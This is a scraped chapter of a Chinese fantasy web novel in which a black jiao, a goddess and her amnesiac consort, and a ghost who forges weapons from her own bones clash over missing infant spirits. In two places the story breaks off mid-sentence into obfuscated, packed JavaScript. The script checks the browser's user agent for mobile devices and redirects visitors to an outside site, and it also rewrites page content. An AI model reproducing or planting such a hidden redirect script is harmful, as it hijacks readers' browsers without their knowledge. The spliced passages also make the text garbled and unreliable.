于是在某一个冬日,晴雪,等到这黑蛟叉着腰站在山顶上骂骂咧咧完了准备中场休息之后,两位先神从天而降。 * “你本就仙缘缥缈,何苦如此白费工夫,多生怨怼?”年轻俊美的神君抱着臂站在云端,高高在上,歪着头饶有兴趣地望着他。 “你是什么人?”黑蛟语气不善。 “你不需要知道我们是什么人。” “你凭什么说小爷仙缘缥缈?” “不过观自然运转,得预言推理……”先神玖的话还没有说完,便听见那黑蛟小妖呸了一声。 “呸,你说我没有仙缘就没有仙缘啊?什么人啊放屁这么臭。”他是妖兽,且是主水的大妖,暴怒之间天边乌云密布,电闪雷鸣,大雨倾盆而至。 雨线落下,被伞面轻轻抚开,先神玖不知道从何处变出一半花哨的伞,撑着银白的伞骨,为先神暇时遮雨。 “不过预见了你的未来。” “小爷让你看了吗你就看?!”大蛟怒目圆睁,要引雷劈他二人,“傲慢无礼的家伙!你说我没有仙缘就没有仙缘啊?” 神君挑眉,似乎是第一次听到这样的说法,还真是新奇。 “测算之中,你的命数的确如此。” “去口口的瞎口口乱算,你们懂个屁!!!山都压下来了再口口的算,小爷有个屁的仙缘!!!”那一双眼睛死死盯着先神暇时漆黑的竖瞳,似乎要盯出一个洞来。 紫色的雷电轰轰烈烈劈了下来,乍一看气势磅礴,然而还没等落到那花哨的伞面上,就消匿得无声无息,黑蛟瞠目结舌,见对面二人实力恐怖如斯,更加加深了断流和眼前这二人脱不开关系的想法。 黑蛟挺了挺胸脯,怎么着的也不能输了气势,面前两人固然强悍,难道他这条已经化形了一半,未来化形之后距离化龙只剩下一步距离的黑蛟就不强悍吗?真要说起来,他和他们两个相比,不过是少一身衣服而已。 这么想着,黑蛟更自信了,更有气势了一点。 在能感觉到极度对自己不利的条件下还能对保持极大的自信,不管前方的敌人是多么强悍,都不否认自己的实力——这是很有意思的一点。 如果巫山满山的生灵没有被迫看大半年他的光屁股蛋子的话,这小黑蛟此刻的气势应该更足。 “无礼。”先神玖微微抬手,随手扬起一阵罡风将黑蛟掀出去不知几何。 “你们果然是天上来的!”他睁大了眼睛,恶狠狠咬着牙道。 他亮出尖牙蓄力攻击,然而还没摸到先神暇时的衣摆,就被一阵清风锢在原地动弹不得,动手的人是站在她身后的男人。 “蜉蝣撼树。”神君连个正眼都没有分给他,“巫山落入凡间也是一处仙山,你若以此地为灵府潜心修炼,百年之后,从云化龙也未尝不可。” “那是我家!!!我家!!!!你们懂什么?你们这群高高在上的神仙,你给我等着,等哪一天小爷化龙,有你们好受的。”黑蛟拼命挣扎,眼神中的不甘和桀骜看得先神暇时起了兴致。 如此心智纯净坚定,且小有天赋,她不由想,巫山没有落下,这只小蛟还在他那一隅洞府中,安心修炼千年百年,会不会化龙成仙呢?先神暇觉得有意思,闭目去参悟另一条时间线上这条小蛟的命数,然而下一刻却闷哼一身,吐出了一口鲜血来。 她参不透。 好像有一双无形的打手,在她将要领悟的时候,给了她灵府重击,那是天道的阻拦。 这件事情当时只当是随意的消遣,翟闲后来没有再提过,翟玖也渐渐忘到脑后,不想千年之后翟闲居然还和这小蛟有联系,不免生出几分醋意来。 * “你这姘|头没死啊?”后鸣道,他这才发现翟闲的旁边还有一个……半透明的神魂。 这不翟玖吗?后鸣瞪大了眼睛。 虽然这是神魂,然而他身上的气息黑蛟还是熟悉的,虽挂在树上,眼神有些发花,但眯着眼睛去仔细看那具神魂的五官,还有那条很难让人忽略的尾巴,还真就让他在记忆的犄角旮旯找到个人影来。 千年之前,不周山天柱崩坍,昔年的先神暇时带着一口薄棺道巫山来找黑蛟后鸣,说要立一个冢。 后鸣问是谁的冢。 她沉默良久,说是先神玖的。 亏他当时还安慰她,几千年来累死累活帮她守着这座冢,翟玖这不活的好好的吗?不对,如果是只剩下一个神魂的话,好像不属于“活得好好的”这个范畴。 “知道东西丢了,这不是来找你问问情况吗?你这么紧张做什么?”翟闲支着脸。 后鸣哼哼唧唧,略微心虚。 “你也是,跑什么?”翟闲叹了口气,“话说啊,你这些年来懒于修炼啊,现在怎么连条撕裂两界的口子都撕不开?” “撕得开!” “对,撕得开,只是可惜就只能撕开那么大点,脑壳都钻不进去。我猜猜,这是干脆破罐子破摔打算吧忘川、酆都的鬼放出来掩人耳目,没想到那边来的几个人有点真本事,能全都收服了,现在好了,玩脱了吧?” “还不是你在背后捣鬼?” “嗯……你这些年是不是吃胖了” 后鸣翻了个白眼,多少年了,这个人还是一张嘴就不招蛟待见。他磨磨蹭蹭从树上下来,盘在树桩子上。 “不就晾着你几天吗?什么臭脾气……”后鸣骂骂咧咧揉了揉腕骨,换成人型,这回倒是长了点记性,化出了一身还算是体面的衣物,察觉到这里人多眼杂,两指一挥还化出了一道结界。 “这次来找你,是想问你几件事。”翟闲道,拍了拍旁边的草地,示意他坐下说。后鸣屁颠屁颠挪过去想要坐下,屁股底下的草还没有捂热乎就察觉到一阵阴恻恻的目光,对上一瞧,果不其然就是手上还捏着翟闲衣角的翟玖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765997|174593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 后鸣咽了口唾沫,屁股往外挪了半边,暗自腹诽,这男人好歹也是个先神,怎么忒小心眼了。 “你要问巫山的事?我不知道,我真的不知道。”后鸣烦躁地挠了挠头发,发丝都挠乱成了鸡窝,“巫山这些年以来人气越来越重,上面又有一个什么招云观,也算是人杰地灵,我这小池塘子干了有几千年了,我也就逢年过节回来。” “嗯,然后呢。” “几百年我都没离开过巫山,这几百年我也是有长进,一般来说平常的什么迷幻的小把戏队伍也没什么作用,但是就是那一天,我敢保证我这辈子没这么困过。”后鸣的眼珠子瞪得浑圆,神色认真。 “哪一天?”翟闲目中神色一暗。 “嘶……我想想,啊,对,是二十二还是二十三那一天,下弦月!我记起来了!” 那就对了,时间和翟玖醒的那一天差不多能对得上。 “你就直接睡了?” “困了干嘛不睡?”黑蛟讪笑,黑蛟目移。 “再然后呢?” “再然后我就睡到了第二天啊,我一醒过来就感觉不对,好像少了点什么东西,一看,你设的‘障’被打开了,然后我就去看了一眼你当年留下的冢,发现里面的东西不见了……” 后鸣的声音越来越小,持续目移。 “那里面不会真的是……他的尸身吧?” “不是。”翟闲揉了揉额角,又揉了揉翟玖的脑袋,后者下意识凑了过去,又往后躲了一下。 “都说了,只是一点旧物。”翟闲道。 “你下一句是不是就该是为什么出了这么大的事情没有提前和你说了?我告诉你姓翟的,你别想着赖我,你当年压根就没和我说怎么联系你,怎么多年也没来看过小爷一眼,你要是有良心……”后鸣立即警惕起来,闭紧双眼抱紧脑壳,好像翟闲的拳头下一秒就要敲过来一样。 一秒,两秒,三秒。 无事发生。 他睁开一只眼睛来偷看翟闲的脸色,后者正以一种看二百五的眼神看他。 “你没来找我就对了。”她指尖勾着一缕发丝绕啊绕,道:“你的鳞片给我一片。” “干嘛?”后鸣立刻报紧了自己。 “我这东西丢了总得要找回来啊。”翟闲笑,“我记得你们蛟族有一门追息术,凡是近过你们身去气息都能通过鳞片上残留的气息追踪到,对吗?我那东西你守了那么长时间,沾染了你的气息,用你们族中的法术总归是好找一点。” 好家伙,她是安了这个心。后鸣顿时心疼起自己这一身油光水滑的鳞片,但是姓翟的也没拜托他做过什么事情,放在她这里的东西被盗,说起来还是他失职…… 不就是一片鳞吗,拔就拔! 他眼一闭心一横,手臂上的一片皮肤化出黑色的鳞片,化成爪的指甲掀下来一块。 大拇指指甲盖那么大的一块的黑色鳞片被他从肌肤上剜下来,一端在月光下反出一圈斑斓的光来,另一端还沾着血色。 “将你的力量注入其中就能用了。”黑蛟道,一抬头就看见半张脸掩在翟闲身后,眼神中充满防备的翟玖,好像翟闲手上的黑蛟鳞片是什么脏东西。 “再问你个事儿。”翟闲将鳞片收好,将衣摆从翟玖的手里抽了出来,和他回握在了一起。翟玖装模作样挣脱了一下,然后便心满意足地让她牵着。 “什么事儿?” 翟闲刚想说话,转眼间就见一阵箭光铺天盖地地劈过来,将黑蛟设下的结界劈地四分五裂。 “什么东西?好强悍的力道!” “厉鬼。”翟闲眉眼间有一丝欣赏,侧目,手一扬,将翟玖暂时地收入灵府之中。 “你带过来的?”后鸣感觉这股力量有点熟悉。 “估计是为了你来的。”翟闲垂下眼睫,低声道,“听我的,劫持我。” 说时迟那时快,后鸣一把将翟闲从草地上薅起来之后,指尖化出一道冰刃抵在了她的颈间。 火狐的火焰照亮了半边天空,邬稞持着一双长刀杀进来之后就看到了这样一番景象。 14. 掘骨作刃 这个时节还不能听到蝉鸣,夜里静,邬稞可以很清楚地听到裙摆扫在低矮灌木上时的“沙沙”的声音。 一路沿着湖边的小径往上,早春的嫩绿就越发明显起来,她心情看上去不错,一路往湖边的弃婴塔中去。 这一次回来就可以把她们全都带走了吧? 刚刚出生就被溺死、摔死、砸死、掐死、遗弃的女婴,没有名字,变成鬼之后无知无识,在凡间勾魂的阴差感知不到她们,寻找不到她们,她们在命簿上微薄得像是一粒尘土,持卷的人手一掸便不知会被遗失何处。 最终在何处出生,就在何处陨灭,最终在何处消散。 这不公平。 婴魂生怨,这些怨念就像是炙子下的火舌,让她们被迫生出神智,在还没有感知到这个世界上的美好的时候就对这个世界生出怨怼,进而作恶、危害,循环往复,恶性循环。 这些年来邬稞一直试图将她们带回地府重新投生,但是尴尬麻烦的是,这里的孤魂不止是这些女婴,还有湖中那些被邬稞杀死、没有处理干净的邬氏族人。 民宿老板讲的那个故事和当年的事实大差不差,只是有一点,当年参与杀害邬氏族人的不止溺死后化为厉鬼的新娘,还有弃婴塔里的那群婴灵。 邬稞和婴灵,都是主谋。两拨主谋,前者是过于离奇的非正常死亡,后者是黑户,上面下面不注意探查不到,故而杀生的因果没有附着之处,既不能记在婴灵们头上,不知道为什么也没记到邬稞头上,故而成了一桩无头案。 虽然地府不作为已经几百年了,但一旦数量如此庞大、怨念如此深重的婴灵渡过忘川,事情闹大了,地府也绝不会坐视不管。 到时候邬氏的事情就瞒不住了。 邬稞无所谓一个人担下来这些因果,但是那些因果一旦落到那些婴灵身上——那别说再投生为人,虽不会被泯灭,但那地府的刀山火海里总是要走一遭的。 故而邬稞只能将自己的尸骨镇在此处,镇住那些她们一起杀死的邬氏的鬼魂,这几十年来,她若是得了空当就往这里跑,既然一次性带不走,那她就一个一个度化,一个一个带,只要她不消散,就不会放任这弃婴塔中还有一个婴魂。 昨夜听了令狐双的那一番话——酆都之间和此处撕裂开了一条口子,无数的恶鬼从地府来到此间,只要让那些婴魂和被捕获的恶鬼混在一处,便有混入地府的可能! 只要能进地府,那接下来的事情就简单了。 她检查过上一次来这的时候布下的结界,一切完好,那些怨气没有外漏,最后用骨刃将已经荒废了不知道多少年的弃婴塔前的杂草和树枝斩干净,推开那扇紧闭的石门,却瞳孔一缩,顿在那里。 “啪嗒——” 手里的骨刃掉到了地上,一阵凉风吹过她长裙的裙摆——那下面空空如也,并不见小腿、踝关节和脚,只留下能看见血痕干涸、碎骨惨白的膝关节。 弃婴塔内,静得吓人,那些往日只要她一推开石门就会蜂拥道她身边嬉嬉笑笑的婴灵…… 不见了,一个都不见了。 邬稞掐诀探查,一遍一遍探查,没有任何的回应。她们去哪儿了?消散了吗?还是……被什么东西湮灭了? 一遍又一遍,邬稞四下探查的眼睛因为消耗了太过法力留下了两行红黑的血泪,终于,她发现了一丝浑浊的、强大的、妖的味道。 邬稞不知道自己是怎么从塔中回去的,觉得那那段留着碎骨头的膝关节刺骨一样得疼。疼得她的脑子都不能思考,整个人都是混沌的状态,眼前的一切都和记忆里那些痛苦的不堪回首的记忆和走马灯一样浮在眼前,她几乎不能分清。 只知道她跌跌撞撞跑到自己当年埋骨的坟前,试图用手将自己的骸骨挖出来时,是令狐双拉住了她,抱住了她,轻拍着她颤抖的肩膀,抹去了她脸上的血泪。 “不要着急,发生什么了?” “双姐……她们不见了……有妖的气息……不见了……她们……有妖,大妖、戒备……对!戒备……” 她语无伦次道,眼前恍过令狐双关切的神色和祝好脸上的惊慌,意识就在将要解离的界限上紧绷着,她用骨刃去掘那些泥土。 苏况和祝好两个在旁边有些无措,只能听她所说的先行戒备,直到一柄骨刃将一块板结的泥土翻开,一个白森森的骷颅暴露在空气之中。 邬稞唇角勾出了一个比哭还难看的笑容,双手将那个骷髅捧了出来,紧接着是椎骨、肋骨、髋骨、股骨…… 一副带着泥的骨架被摆在早春嫩绿的草里,膝盖之下空空如也,没有胫骨。 邬稞摸了一口嘴角溢出的血痕,嘴角的笑容抽搐着,将手中一对骨制匕首放在了胫骨的位置。 这具尸体完整了。 还没等祝好捋清楚当下的情况,顿时悲哭四起。 祝好眼看着空气似乎都滞涩在了一处,湖中的水波不动,风中的草叶不动,丛间的虫豸不动,就连她自己——一股难以言喻的压迫感袭来,躯体、或者说是灵魂被一种难以抵抗的力量控制住,动弹不得。 天地间唯一缓缓流动的,是邬稞眼角那一滴血泪。令狐双没有说话,只是站在一旁替她护法。悲哭之中黑色的烈焰将她环在中央,地上那具骨架像是高温下融化的铁水一般缓缓流动。 是来自地狱的业火。 椎骨化弓,肋骨作箭,股骨在黑色的烈焰中化成两柄长而直的双刀,她原先用的一对骨匕首在烈火中淬过一遍之后,锋利只增不减。悲哭之中,邬稞断发以为弦,弯弓引箭,剑锋所指,正是那股她追踪到的妖气所在。 * “簌——” 破风的声音响起,一道无形的结界顿时碎裂开来,没有结界的阻拦,苏况和祝好腰上的能量检测器顿时滴滴滴个不停,一妖一鬼能很清楚感知到铺天盖地的妖力——有大妖! 与此同时,一个比方才更强悍的结界从天而降,将整个湖岸和湖面都罩了起来,无人能够出入。 “先住手!!!”令狐双的本命火照亮了半边天,在看清箭光所及之处后,高声道。 令狐双估测对方是至少有千年妖力的大妖,虽是强敌,虽然她和完全锻骨之后的邬稞加起来未尝不可勉力过上几招,但这前提是他手中没有人质——翟闲。 这姑娘是真倒霉还是身上真有点什么说法? 今夜实在是失算了,令狐双懊恼,早该知道应该派个人跟着翟闲的。她思及此处,也感觉出一些奇怪来。 这岸上地方不大,方才翟闲和她道别走开之后,竟几个呼吸之间就不见了踪影。 苏况本想绕到这只妖的背后突袭,却没想到他的动作更快,在察觉到他的意图之后瞬间带着翟闲往水面的方向退后了十几丈。 翟闲感觉什么东西被塞在了她手心里,扭头看过去时,翟玖已经躲进来她的灵府之中。 【不是,你不是认识这些人吗?这是玩哪一出?】黑蛟带着翟闲退出去十几丈才后知后觉反应过来,传音问道。 【玩?你没看到刚才那一箭杀气那么重吗?】翟闲翻了个白眼。 【那只鬼我倒是认识,其他那几个人什么来路?看着还算有点东西。】黑蛟探头。 【我觉得你并不是很想知道。】 【怎么说?】 【他们是异管局的。】翟闲笑。 黑蛟确实不是很想知道。 不周山南异常事件管理局暨六道非常事件办理处,有个什么零组,虽然不在本地,但是当初设立的时候黑蛟提出想要加入,无情被拒。 理由是资质不够。 这给后鸣气的,好好好,不就是看不上他还没化龙吗?黑蛟气的三天没吃饭,翟闲扶额苦笑,那玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765998|174593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意儿也就占了个好听的名头,却是一桩麻烦事,偏偏黑蛟就是小孩子的心气,一直觉得是那边对他有意见,怄气到现在。 【异管局的水平还真是一年不如一年了。】黑蛟变脸,阴阳怪气。 “你是什么妖?洞府在哪一处?为什么会在这里?请出示身份证明!”令狐双挡在邬稞的前面,喊道,“你先把人放下,我们有话好好好说!” 四周只能听到风声,十几丈外的妖没有回应。 【异管局?怎么感觉这个名字挺熟悉的。】翟玖给翟闲传音。 异管局他确实挺熟悉的哈,当年异管局的前身就是由他一手创立的,虽然他如今失忆了,然而醒来之后和翟闲的记忆产生过一部分的融和,他能想起来的什么也不稀奇。 【你当然熟悉了,你是祖师爷你能不熟悉吗?】后鸣加入传音聊天。 【祖师爷?】翟玖语气疑惑。 翟闲随口道:【你一时兴起弄的玩意儿,后来竟然一直发展了起来,不重要。】 【他……】后鸣的语气疑惑。 【他失忆了。】翟闲道。 【失忆?好端端的怎么会失忆呢……】 他的话还没说完就被翟闲打断:【问你个事。】 【什么事?】 【你常回这边吗?】她问。 【基本上不回了,我在巫山底下窝得舒舒服服的回来干嘛?】 【这里毕竟曾经是你的洞府,那在这里发生的事情你能感知到多少?】 【你还知道这里是我的洞府啊?!】后鸣看上去气呼呼的,【自从断流之后我能在这里感知到的东西就越来越少了,真的是,不就这么点时间没回来吗,什么脏的臭的全到家门口了,我前几天刚回来的时候快被烦死了。】 【怎么说?】 【那只鬼。】他指了指岸边的邬稞,【当年她和一群其他的小鬼头在我这犯了事,屁股没擦干净。邬氏的人拿她祭湖被她反杀了。我觉得这件事她做得对,就没管,谁知道这么多年过去了,她还没把这件事的屁股擦干净。】 他继续骂骂咧咧道:【被她杀的那些人都被她镇在湖底下,没给给小爷我吓一跳。估计是怕那些因果落在,弃婴塔的那些小鬼头身上,嗯……倒算是有情有义。】 翟闲问:【我看弃婴塔里面的阴气已经很淡了,你把那些婴灵怎么了?】 后鸣答:【还能怎么,她们年纪不大,整天叽叽喳喳地在我旁边问东问西的,和小麻雀似的,倒是不讨厌,但耳边也落不着个清净。到底是在我的底盘上死的,阴差不收,这事我也不能不管,再过个十几二十年估计就要消散了,我就把她们一兜装了全扔给孟婆了。】 下界忘川之畔,孟婆刚熬好一大锅子鲜红的孟婆汤,打了个天大的喷嚏,伸手将一只粘在她腿上、一只爬在她背上、两只抱在她腰上的婴灵提溜了下来。 一群小丫头围在她脚边叽叽喳喳,让她们喝汤去投生也不走,就这么一个个眼巴巴用一双大眼睛看着她。 被迫带孩子的第不知道多少天,熬了几千年汤的孟婆打算研究研究宝宝辅食。 【她的饭小孩子……哪怕是婴魂吃了,真的会没事吗?】翟玖惊诧。 舀汤的孟婆又打了个巨大的喷嚏。 【希望她做饭的手艺有长进。】翟闲闭目,双手合十。 舀汤的孟婆再打了个巨大的喷嚏。 后鸣道:【她还是胆子太小了,顾虑这顾虑那,十殿阎罗是个什么德行我还能不知道吗?消极怠工,只要打点打点,就是一次性全把那群小鬼头塞过去投胎也没人管。】 【确实消极怠工。】翟闲评价,【终究是吃了太老实的亏啊。】 正说着,那边隔岸便传来一声怒气冲冲、阴森森的质问: “我不管你是什么人,你把塔里的婴魂怎么了?!!!”